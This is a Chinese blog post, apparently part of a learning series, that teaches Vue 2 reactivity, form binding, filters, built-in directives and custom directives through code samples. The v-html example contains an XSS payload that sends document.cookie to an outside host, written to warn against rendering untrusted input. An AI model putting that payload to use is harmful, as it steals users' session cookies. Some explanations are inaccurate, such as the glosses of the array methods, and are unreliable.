昨天也肝了一会vue但是最近面试等结果加上一系列的事情,我偷摸休息了一下午,去下象棋了,还好,水平还在,目前上到业7了,言归正传,我们的vue到这里就是基础夯实的最后一关了,到下一次的生命周期钩子函数搞完就是组件化了。
数据监测原理
我们上一次用到监视属性来监视一个属性的变化,当监视属性变化时就会触发处理函数handler()进行处理。但是当我们监视的属性是对象或者是数组的时候,不理解底层怎么进行监视处理的话,就很难找到这些情况下发生的问题了。
来我们举个例子说明一下问题(先挂上案例的代码):
<div id="app">
<ul>
<button @click="updateAddress">修改林春的地址为郑州市</button>
<li v-for="person in persons" :key="person.name">
{{person}}
</li>
</ul>
</div>
这里需要注意的是我们的person属性是对象类型的数据,它位于persons数组内部,这里我们将对象和数组放在一起更直观的反映问题:
data() {
return {
persons: [{
name: '林春',
age: 20,
address: '信阳市'
},
{
name: '阿三',
age: 22,
address: '武汉市'
}
]
}
}
我们再看看这个修改地址的函数(当我们采用直接整体修改persons[0]这个对象时):
methods: {
updateAddress() {
this.persons[0] = {
name: '林春',
age: 20,
address: '郑州市'
}
//这种方式vue无法实时监测并修改页面内容,但是vue实例中的对象Adress属性确实发生了变化
}
},
我们看一下页面的呈现情况:
我们不难看出明明我们的vm对象里的对应的persons[0]的地址已经变成了 ‘郑州市’ 但是页面上的通过v-for取到的数据竟然还是 ‘信阳市’ ?但是当我们用数组索引.key = value的方式修改,就奏效了:
methods: {
updateAddress() {
this.persons[0].address = '郑州市'
//这种修改对象属性的方式vue可以实时监测到
}
},
来我们分析一下原理:我们知道,vue的主要data对象会在vm对象接收时以数据代理的方式被_data对象读取,这样当_data中的属性发生了改变的同时,相应的vue实例中的data对象也会做出相同的更改,但是前提是需要触发这个_data内部的getter与setter方法呀!为什么我们整个修改数组中某一个对象的全部key值时,它没有触发_data的getter方法(vue没有监测到):
这里我们模拟一个data对象:
let data = {
name: 'linchun',
age: 20,
address: '信阳市'
}
再利用前面学过的Object.defineproperty()写一个数据代理:
// 利用数据代理写一个data的代理,
// 那么当我们修改data中的name属性的时候就会触发set方法
// 读取name的时候就能够触发get方法,但是结果是栈溢出!
Object.defineProperty(data, 'name', {
get() {
return data.name
},
set(newVal) {
data.name = newVal
}
})
这里看注释也知道产生了循环调用,因为数据代理首先是需要一个代理对象的,这里直接将源数据作为更改的一个返回代理,肯定会导致循环调用getter与setter方法导致栈内存的溢出!
其实vue对于这个是创建了一个代理对象的,对于对象类型的数据,vue采用观察者模式去造就一个观察者去观察数据变化,给出相应的动作(你可以认为观察这个动作就是我们的Object.defineProperty()方法做到的),对于数组类型的属性,vue是采取了装饰器模式,对原生的数组操作的方法加上了一些横向的织入 (类似AOP但不是)。我们看看下面这个正确的案例:
// vue实现实时监测的原理是建立一个观察者去观察对象中属性的变化:
// 模拟一下,创建一个观察者观察这个data对象
// 当修改的是数组时,vue采用装饰器模式包装它的数组调用的七个方法:
// unshift头插,shift尾删,pop头删,push尾插,splice替换,reserver反转,sort排序
const observer = new Observer(data)
function Observer(obj) {
// 将data对象中的所有属性组合成数组
const keys = Object.keys(data)
// 现在就不会直接监测data身上的属性了,就不会出现代理时出现的循环栈溢出情况
// 遍历这个数组,只要数组中任何一个元素发生了变化就说明data中的属性发生了变化
keys.forEach((key) => {
// 这个时候创建代理最合适不过
Object.defineProperty(this, key, {
get() {
// 用数组就避免了访问与返回的一个循环调用
return obj[key]
},
set(newVal) {
// 这里也是直接修改代理对象key的value,没有动源数据
obj[key] = newVal
}
})
})
}
// 这里如果需要实现一个同步更新的话,这里的data其实就相似于vm对象里的_data
// data = observer
// 这里顺带一下Vue.set(target,key,value)与vm.$set(target,key,value)
// 后期调试添加vue中的属性的方法(但是不可以在vue实例与vue的根对象里直接添加单层的响应式数据,只能在对象等添加),数据更改是后端API的事情
为什么之前整个修改persons[0]这个对象时出现了问题呢?原因是因为它属于数组类型中的一个元素,我们需要使用数组中的方法splice去替换,而不是直接利用对象式的key-value去操作。不然装饰器没用上,观察者也没观察到,确实数据已经更改,可是没有调用对应的get与set方法,就没有同步到vue的data中去。
表单收集
表单收集很简单,这里我直接把我测试的代码挂上去就行了,大家可以看看里面的某些特殊的vue指令的使用方法与场景,注释上都有:
这里准备一个表单:
<div id="app">
<form @submit.prevent="submit">
<hr>
<!-- trim就是过滤前后空字符串 -->
姓名:<input type="text" v-model.trim="User.name">
<hr />
<!-- number就是带一个数字类型的转换 -->
年纪:<input type="number" v-model.number="User.age">
<hr />
<!-- radio与checkbox都需要进行value的预定义 -->
性别:男<input type="radio" v-model="User.sex" value="man"> 女<input type="radio" v-model="User.sex"
value="woman">
<hr />
爱好:下棋<input type="checkbox" v-model="User.hobby" value="chess"> 游戏<input type="checkbox"
v-model="User.hobby" value="game">读书<input type="checkbox" v-model="User.hobby" value="read">
<hr />
地址:
<select v-model="User.address" value="xinyang">
<option value="xinyang">信阳</option>
<option value="zhengzhou">郑州</option>
<option value="nanyang">南阳</option>
<option value="pingdingshan">平顶山</option>
<option value="huangshi">黄石</option>
</select>
<hr />
<!-- lazy是失去焦点是收集数据 -->
其他信息:<textarea cols="30" rows="1" v-model.lazy="User.userInfo"></textarea>
<hr />
<input type="checkbox" v-model="User.status">勾选同意协议<a href="">用户注册协议</a>
<hr />
<button>提交</button>
</form>
</div>
再配置一下对应的vue实例:
const vm = new Vue({
el: '#app',
data() {
return {
User: {
name: '',
age: '',
sex: '',
hobby: [],
address: '',
userInfo: '',
status: ''
}
}
},
methods: {
submit() {
console.log(JSON.stringify(this.User))
}
},
})
过滤器(会使就行)
过滤器能实现的事情大多数我们能用函数或者计算属性达成(就是对数据进行处理嘛)但是过滤器比较简洁(个人认为):{{ data | dataFilter}} 就利用一个管道符将数据给到过滤器:
<div id="app">
<!-- vue会将这个date的值作为第一个参数(不管你传几个,管道符前面的永远是第一个参数)
传递给同名的过滤器进行处理,过滤器函数的结果就是最终的结果 -->
{{date | dateFilter}}
</div>
<script>
new Vue({
el: '#app',
data() {
return {
date: ''
}
},
methods: {
getDate() {
return dayjs(this.date).format('YYYY-MM-DD')
}
},
computed: {
Date() {
return dayjs(this.date).format('YYYY-MM-DD')
}
},
// 过滤器的写法:
filters: {
dateFilter(value) {
// 处理的逻辑,利用dayjs操作时间
return dayjs(this.date).format('YYYY-MM-DD HH:mm:ss')
}
}
})
// 定义全局过滤器
// Vue.filter('dateFilter', function (value) {
// return dayjs(value).format('YYYY年MM月DD日')
// })
</script>
过滤之后的页面显示的就是当前时间(按照过滤器给出的样式进行显示):
部分vue指令
之前写过v-model,v-on,v-bind,v-if系列,v-for,v-show等等,这里我们做个补充:
<div id="app">
<!-- v-text不解析标签体内容,它只将自己绑定的属性值变成文本给到标签体内 -->
<h2 v-text="text"></h2>
<h3 v-html="str"></h3>
<!-- v-pre是阻止编译,可以将不需要编译的纯html文本跳过编译,v-once是此标签体只编译一次,之后不再实时渲染变化
v-pre 可以阻止编译,那么就永远不会将与它一起使用的v-cloak标记去除!所以这里的css样式一直都在,有意思吧!
v-cloak是vue解析加载之后就祛除的标记,所以当vue脚本没有加载之前v-cloak都存在,我们可以利用css的属性选择器进行控制 -->
<h4 v-pre v-once v-cloak>{{n}}</h4>
<button @click="n++">点我n加一</button>
</div>
<script>
const vm = new Vue({
el: '#app',
data() {
return {
text: '这是v-text指令',
n: 1,
// 盗取cookie是xss攻击中利用注入的一种手段,所
// 一定不要在用户输入的地方用v-html也不要相信任何输入,越来越刑
str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>百度</a>'
}
}
})
</script>
v-text不解析标签体内容,它只将自己绑定的属性值变成文本给到标签体内,v-pre是阻止编译,可以将不需要编译的纯html文本跳过编译,v-once是此标签体只编译一次,之后不再实时渲染变化, v-cloak是vue解析加载之后就祛除的标记,所以当vue脚本没有加载之前v-cloak都存在,我们可以利用css的属性选择器进行控制。里头提到了使用v-html时要慎重。防止被不轨之徒使用xss攻击。
自定义vue指令
我们也可以在vue实例的directives对象里配置我们自定义的指令,当然这里需要注意的点就是在directives对象中的this可就是window了原因是这里的对象内部填写的语句都是标准的原生js的语句,有的甚至要操作document对象,vue实例没有底层暴露使用的API。
<div id="app">
<!-- 利用自定义指令实现点击弹窗 -->
<h3 v-hello>点击我打招呼</h3>
<!-- 利用自定义指令将参数放大十倍展示 -->
<h4 v-upnum="pramter"></h4>
<!-- 利用自定义指令将标签的背景颜色进行设置 -->
<div v-bgcolor="color" @click="color = 'black'" style="width: 100px;height:100px;border: 3px black solid; ">
</div>
<input type="text" v-focus>
</div>
<script>
new Vue({
el: '#app',
data() {
return {
pramter: 10,
color: 'skyblue'
}
},
// 自定义指令的方法内部之所以能直接使用原生js的方法,是因为内部的this全是window和原型链有关
directives: {
// 函数式定义指令(只配置了bind方法时) element参数是元素标签的意思
hello(element) {
element.addEventListener('click', () => {
alert('你好')
})
// element.onclick = function () {
// alert('你好')
// }
},
// 这里的binding是传递进来的参数
upnum(element, binding) {
element.innerText = binding.value * 10
},
bgcolor(element, binding) {
// 对于下划线的转换可以采取驼峰
element.style.backgroundColor = binding.value
},
// 对象式自定义函数
focus: {
// 指令与标签等元素成功绑定时
bind() {
console.log('bind')
},
// 指令所在元素被插入页面时
inserted(element) {
console.log('insert')
// 加载立即获取焦点
element.focus()
},
// 指令所在模板重新解析时
update() {
// 这里发现我们利用点击事件@click="color = 'black'"
// 修改color的值的时候,模板被重新解析了!!!vue的实时响应与渲染果然是很优秀的
console.log('update')
}
}
}
})
// 配置全局指令
// Vue.directive('focuson', {
// // 指令与标签等元素成功绑定时
// bind() {
// console.log('bind')
// },
// // 指令所在元素被插入页面时
// inserted(element) {
// console.log('insert')
// // 加载立即获取焦点
// element.focus()
// },
// // 指令所在模板重新解析时
// update() {
// // 这里发现我们利用点击事件@click="color = 'black'"
// // 修改color的值的时候,模板被重新解析了!!!vue的实时响应与渲染果然是很优秀的
// console.log('update')
// }
// })
</script>
今天抓紧先下了~